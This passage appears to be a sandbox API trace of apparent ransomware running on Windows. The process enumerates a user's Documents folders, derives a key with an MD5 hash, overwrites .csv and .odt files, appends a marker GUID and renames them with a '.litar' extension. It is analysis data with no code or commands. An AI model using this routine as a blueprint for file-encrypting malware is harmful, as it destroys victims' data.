ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.057] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0127.057] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0127.057] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0127.057] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0127.057] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.057] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.057] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.057] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0cFh2o\\") returned="0cFh2o\\" [0127.057] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\") returned="RrMc-y7gilA\\" [0127.058] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\") returned="38Tocm\\" [0127.058] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0127.058] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.058] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.058] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.058] PathFindFileNameW (pszPath="") returned="" [0127.058] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0cFh2o\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe04915b0, ftCreationTime.dwHighDateTime=0x1d4c7ae, ftLastAccessTime.dwLowDateTime=0x17d33d0, ftLastAccessTime.dwHighDateTime=0x1d4d20c, ftLastWriteTime.dwLowDateTime=0x17d33d0, ftLastWriteTime.dwHighDateTime=0x1d4d20c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.059] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe04915b0, ftCreationTime.dwHighDateTime=0x1d4c7ae, ftLastAccessTime.dwLowDateTime=0x17d33d0, ftLastAccessTime.dwHighDateTime=0x1d4d20c, ftLastWriteTime.dwLowDateTime=0x17d33d0, ftLastWriteTime.dwHighDateTime=0x1d4d20c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.059] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42f3e3c0, ftCreationTime.dwHighDateTime=0x1d4d2f4, ftLastAccessTime.dwLowDateTime=0xa565870, ftLastAccessTime.dwHighDateTime=0x1d4cfb8, ftLastWriteTime.dwLowDateTime=0xa565870, ftLastWriteTime.dwHighDateTime=0x1d4cfb8, nFileSizeHigh=0x0, nFileSizeLow=0x152a9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4fiD3H F26C.csv", cAlternateFileName="4FID3H~1.CSV")) returned 1 [0127.059] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0cFh2o\\4fiD3H F26C.csv") returned=".csv" [0127.059] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0cFh2o\\4fiD3H F26C.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0cfh2o\\4fid3h f26c.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.059] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=86697) returned 1 [0127.059] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.061] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15283, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.061] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.063] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x152a9, lpOverlapped=0x0) returned 1 [0127.066] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.066] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.066] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.066] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.067] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.067] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.067] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.067] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.067] GetLastError () returned 0x0 [0127.067] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.067] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x152b0) returned 0x30fa0b0 [0127.068] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.068] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x152a4, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x152a4, lpOverlapped=0x0) returned 1 [0127.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.068] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x152a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0127.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0127.068] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.069] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.069] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.069] CloseHandle (hObject=0x624) returned 1 [0127.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0127.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.070] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0cFh2o\\4fiD3H F26C.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0cfh2o\\4fid3h f26c.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0cFh2o\\4fiD3H F26C.csv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0cfh2o\\4fid3h f26c.csv.litar")) returned 1 [0127.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.071] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0127.072] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69ff0790, ftCreationTime.dwHighDateTime=0x1d4c8c9, ftLastAccessTime.dwLowDateTime=0xa8361d0, ftLastAccessTime.dwHighDateTime=0x1d4d51c, ftLastWriteTime.dwLowDateTime=0xa8361d0, ftLastWriteTime.dwHighDateTime=0x1d4d51c, nFileSizeHigh=0x0, nFileSizeLow=0x10eaa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FF1E_qOk_q3b2hS6Wq.odt", cAlternateFileName="FF1E_Q~1.ODT")) returned 1 [0127.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0127.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.072] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0cFh2o\\FF1E_qOk_q3b2hS6Wq.odt") returned=".odt" [0127.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0cFh2o\\FF1E_qOk_q3b2hS6Wq.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0cfh2o\\ff1e_qok_q3b2hs6wq.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.073] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=69290) returned 1 [0127.073] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.075] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.075] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.076] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.076] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.076] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x10eaa, lpOverlapped=0x0) returned 1 [0127.077] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.077] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.077] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.077] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.078] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.078] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.078] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.078] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.078] GetLastError () returned 0x0 [0127.078] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.078] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.078] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10eb0) returned 0x30fa0b0 [0127.078] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.078] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.078] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x10ea5, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x10ea5, lpOverlapped=0x0) returned 1 [0127.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.079] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10eaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.079] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0127.079] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.079] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0127.079] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.079] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.079] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.079] CloseHandle (hObject=0x624) returned 1 [0127.080] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.080] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.080] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.080] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0cFh2o\\FF1E_qOk_q3b2hS6Wq.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0cfh2o\\ff1e_qok_q3b2hs6wq.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0cFh2o\\FF1E_qOk_q3b2hS6Wq.odt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0cfh2o\\ff1e_qok_q3b2hs6wq.odt.litar")) returned 1 [0127.081] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.081] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0127.082] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69ff0790, ftCreationTime.dwHighDateTime=0x1d4c8c9, ftLastAccessTime.dwLowDateTime=0xa8361d0, ftLastAccessTime.dwHighDateTime=0x1d4d51c, ftLastWriteTime.dwLowDateTime=0xa8361d0, ftLastWriteTime.dwHighDateTime=0x1d4d51c, nFileSizeHigh=0x0, nFileSizeLow=0x10eaa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FF1E_qOk_q3b2hS6Wq.odt", cAlternateFileName="FF1E_Q~1.ODT")) returned 0 [0127.082] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0127.082] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcf18 [0127.082] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.083] 